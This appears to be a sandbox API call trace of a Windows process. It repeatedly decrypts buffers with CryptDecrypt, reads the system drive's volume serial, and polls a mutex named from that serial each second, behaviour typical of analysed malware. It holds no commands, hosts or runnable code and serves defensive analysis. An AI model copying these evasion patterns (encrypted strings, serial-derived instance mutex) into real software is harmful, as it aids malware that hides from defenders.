	[0242.564] CryptDecrypt (in: hKey=0x645938, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0242.564] CryptDestroyKey (hKey=0x645938) returned 1
	[0242.564] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0242.564] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0242.564] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0242.565] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0242.565] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0242.565] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0242.565] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0242.565] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645f78) returned 1
	[0242.565] CryptSetKeyParam (hKey=0x645f78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0242.565] CryptDecrypt (in: hKey=0x645f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0242.565] CryptDestroyKey (hKey=0x645f78) returned 1
	[0242.565] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0242.565] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0242.565] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0242.570] CloseHandle (hObject=0x3fc) returned 1
	[0242.570] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0242.570] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0242.570] Sleep (dwMilliseconds=0x3e8) 
	[0243.580] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0243.580] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645878) returned 1
	[0243.580] CryptSetKeyParam (hKey=0x645878, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0243.580] CryptDecrypt (in: hKey=0x645878, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0243.580] CryptDestroyKey (hKey=0x645878) returned 1
	[0243.580] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0243.580] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0243.580] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0243.580] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0243.580] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0243.580] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0243.580] CryptDestroyKey (hKey=0x645b78) returned 1
	[0243.580] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0243.580] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0243.580] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0243.580] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0243.580] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0243.580] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0243.580] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0243.581] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645b78) returned 1
	[0243.581] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0243.581] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0243.581] CryptDestroyKey (hKey=0x645b78) returned 1
	[0243.581] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0243.581] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0243.581] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0243.581] CloseHandle (hObject=0x3fc) returned 1
	[0243.581] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0243.581] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0243.581] Sleep (dwMilliseconds=0x3e8) 
	[0244.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0244.596] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0244.596] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0244.596] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0244.596] CryptDestroyKey (hKey=0x645e78) returned 1
	[0244.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0244.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0244.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0244.596] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645a38) returned 1
	[0244.596] CryptSetKeyParam (hKey=0x645a38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0244.596] CryptDecrypt (in: hKey=0x645a38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0244.596] CryptDestroyKey (hKey=0x645a38) returned 1
	[0244.596] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0244.596] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0244.596] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0244.596] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0244.596] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0244.596] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0244.596] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0244.596] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0244.596] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0244.596] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0244.596] CryptDestroyKey (hKey=0x645e78) returned 1
	[0244.597] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0244.597] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0244.597] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0244.597] CloseHandle (hObject=0x3fc) returned 1
	[0244.597] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0244.597] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0244.597] Sleep (dwMilliseconds=0x3e8) 
	[0245.610] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0245.610] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0245.610] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0245.611] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0245.611] CryptDestroyKey (hKey=0x645d38) returned 1
	[0245.611] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0245.611] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0245.611] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0245.611] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0245.611] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0245.611] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0245.611] CryptDestroyKey (hKey=0x645b78) returned 1
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0245.611] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0245.611] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0245.611] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0245.611] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0245.611] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0245.611] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0245.611] CryptDestroyKey (hKey=0x645d38) returned 1
	[0245.611] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0245.611] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0245.611] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0245.611] CloseHandle (hObject=0x3fc) returned 1
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0245.611] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0245.611] Sleep (dwMilliseconds=0x3e8) 
	[0246.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0246.630] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645b78) returned 1
	[0246.630] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0246.630] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0246.630] CryptDestroyKey (hKey=0x645b78) returned 1
	[0246.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0246.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0246.630] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0246.630] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0246.630] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0246.630] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0246.630] CryptDestroyKey (hKey=0x645b78) returned 1
	[0246.630] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0246.630] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0246.630] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0246.630] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0246.630] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0246.631] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0246.631] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0246.631] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645e78) returned 1
	[0246.631] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0246.631] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0246.631] CryptDestroyKey (hKey=0x645e78) returned 1
	[0246.631] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0246.631] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0246.631] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0246.631] CloseHandle (hObject=0x3fc) returned 1
	[0246.631] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0246.631] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0246.631] Sleep (dwMilliseconds=0x3e8) 
	[0247.750] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0247.750] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645d38) returned 1
	[0247.750] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0247.750] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0247.750] CryptDestroyKey (hKey=0x645d38) returned 1
	[0247.750] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0247.750] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0247.750] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0247.750] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645d38) returned 1
	[0247.750] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0247.750] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0247.750] CryptDestroyKey (hKey=0x645d38) returned 1
	[0247.750] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0247.750] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0247.751] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0247.751] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0247.751] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0247.751] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0247.751] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0247.751] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d78) returned 1
	[0247.751] CryptSetKeyParam (hKey=0x645d78, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0247.751] CryptDecrypt (in: hKey=0x645d78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0247.751] CryptDestroyKey (hKey=0x645d78) returned 1
	[0247.751] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0247.751] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0247.751] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0247.751] CloseHandle (hObject=0x3fc) returned 1
	[0247.751] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0247.751] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0247.751] Sleep (dwMilliseconds=0x3e8) 
	[0248.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0248.766] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645e78) returned 1
	[0248.766] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0248.766] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0248.766] CryptDestroyKey (hKey=0x645e78) returned 1
	[0248.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd28dd8
	[0248.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd28678
	[0248.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd21470
	[0248.766] CryptImportKey (in: hProv=0x616790, pbData=0xcaf68c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf6f4 | out: phKey=0xcaf6f4*=0x645b78) returned 1
	[0248.766] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf6dc, dwFlags=0x0) returned 1
	[0248.766] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0xcaf6a8 | out: pbData=0xd21470, pdwDataLen=0xcaf6a8) returned 1
	[0248.766] CryptDestroyKey (hKey=0x645b78) returned 1
	[0248.766] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21470 | out: hHeap=0xd20000) returned 1
	[0248.766] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd28dd8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0248.766] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0248.766] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0248.766] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xcaf75c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xcaf75c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0248.766] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28dd8 | out: hHeap=0xd20000) returned 1
	[0248.766] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x40) returned 0xd28db0
	[0248.766] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6e8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf750 | out: phKey=0xcaf750*=0x645d38) returned 1
	[0248.767] CryptSetKeyParam (hKey=0x645d38, dwParam=0x1, pbData=0xcaf738, dwFlags=0x0) returned 1
	[0248.767] CryptDecrypt (in: hKey=0x645d38, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf704 | out: pbData=0xd28db0, pdwDataLen=0xcaf704) returned 1
	[0248.767] CryptDestroyKey (hKey=0x645d38) returned 1
	[0248.767] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x34) returned 0xd28678
	[0248.767] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773001") returned 0x3fc
	[0248.767] WaitForSingleObject (hHandle=0x3fc, dwMilliseconds=0x0) returned 0x102
	[0248.767] CloseHandle (hObject=0x3fc) returned 1
	[0248.767] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28db0 | out: hHeap=0xd20000) returned 1
	[0248.767] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28678 | out: hHeap=0xd20000) returned 1
	[0248.767] Sleep (dwMilliseconds=0x3e8) 
	[0249.932] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd28db0
	[0249.932] CryptImportKey (in: hProv=0x616790, pbData=0xcaf6b4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xcaf71c | out: phKey=0xcaf71c*=0x645b78) returned 1
	[0249.932] CryptSetKeyParam (hKey=0x645b78, dwParam=0x1, pbData=0xcaf704, dwFlags=0x0) returned 1
	[0249.932] CryptDecrypt (in: hKey=0x645b78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28db0, pdwDataLen=0xcaf6d0 | out: pbData=0xd28db0, pdwDataLen=0xcaf6d0) returned 1
	[0249.932] CryptDestroyKey (hKey=0x645b78) returned 1
